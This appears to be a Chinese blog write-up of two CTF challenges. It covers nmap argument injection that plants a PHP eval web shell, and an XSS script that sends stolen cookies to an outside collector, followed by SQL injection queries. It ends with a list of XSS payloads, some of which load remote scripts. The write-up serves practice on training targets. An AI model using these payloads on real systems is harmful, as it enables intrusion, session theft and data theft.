PHP RCE
记录一道关于PHP函数漏洞利用的题目
[题目在这里](https://buuoj.cn/challenges#[BUUCTF 2018]Online Tool)
创建实例显示源代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
|
payload:
1
|
?host=' <?php eval($_POST["hack"]);?> -oG hack.php '
|
这个payload的意思是上传一句话木马的同时,将 nmap 的扫描结果保存为 hack.php 文件以免蚁剑连接时返回内容为空。
最后蚁剑连接,在根目录下找到flag
在这道题目中其他需要注意的是关于转义符的理解:
上面提到escapeshellarg()函数会将 单引号进行利用或转义,然后再在两边加上引号引起来。
其转义的方式就是在前面加上一个\。同样的,escapeshellcmd()也会在对特殊符号进行转义,即在其前面加上
其目的是让程序认为单引号仅仅作为符号存在,而不作为指令的一部分。
例如:
如果传入
就可能导致多余的’使得程序报错。
而使用转义符之后:
1
2
|
It\'s a dog.
#等于 "It's a dog."
|
这时会作为一个完整的字符串进行后续操作。
记一道没有做出来的XSS攻击题目
上一周在做题时了解到利用Cooike可以进行XSS攻击,这周就遇到一道XSS,具体是利用XSS通过更改Cooike获取管理员权限来得到flag
题目在这里 [CISCN2019 华东北赛区 Web2 1](https://buuoj.cn/challenges#[CISCN2019 华东北赛区]Web2)
一开始打开发现是一个非常正常的文章汇总页面,一时间以为走错地方了()
然后探索发现存在注册以及登录的功能。注册个admin,注册成功,说明这里似乎对用户名没有限制。
发现存在上传文章和反馈两个功能,翻看WP得知,这里的上传文章功能存在XSS漏洞,可以在这里上传XSS攻击代码,然后通过上传反馈得到管理员的SESSID,进行SQL注入后得到flag
我们得知这里存在一个admin.php,访问提示不是管理员无法查看(果然)
于是我们尝试进行XSS攻击。发现这里还存在WAF,会将’’(‘’转义成”(”
使用这个脚本
1
2
3
4
5
6
7
8
|
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
|
生成payload后提交,得到url后进反馈
输入得到的url(题目提示要把靶机域名改为web)接下来解决验证码问题,题目中给出substr(md5($str), 0, 6) === “cfde39”:
这是一个MD5弱比较,使用下面这个脚本来生成验证码
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import hashlib
import random
import string
target = "cfde39"
while True:
# 生成一个随机字符串 (4 个字符)
s = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
hash_value = hashlib.md5(s.encode()).hexdigest()[:6]
if hash_value == target:
print(f"Found: {s}")
break
|
由于题目中提供的xss.buuoj.cn已经停止服务了,所以我们还要自己搭建一个用于接收反馈的平台
项目地址:XSS数据接收平台(无SQL版)
使用小皮面板来搭建这个平台,可惜的是搭建好后我的模板都神奇地消失了,一开始以为是Windows Defender的问题(虽然确实),但关掉之后还是没有js模板,导致平台一直没法用,只能止步于此了。
如果顺利的话,可以截取到管理员的SESSID,从而成功登录到admin.php,然后用
1
2
3
4
5
6
7
8
9
|
-2 union select 1,2,3#
-2 union select 1,database(),user()#
-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#
-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#
-2 union select 1,2,group_concat(flagg) from ciscn.flag#
|
SQL联合查询得到flag
这里记录一些常见的XSS攻击代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
|
plaintext
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷IMG标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将Javascript分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将Javascript分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces和meta前的IMG标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\";alert('XSS');//
(30)结束Title标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
|
更多XSS攻击代码
顺便贴上几篇参考的WP
WP1
WP2
WP3
WP4
WP5
XSS数据接收平台配置教程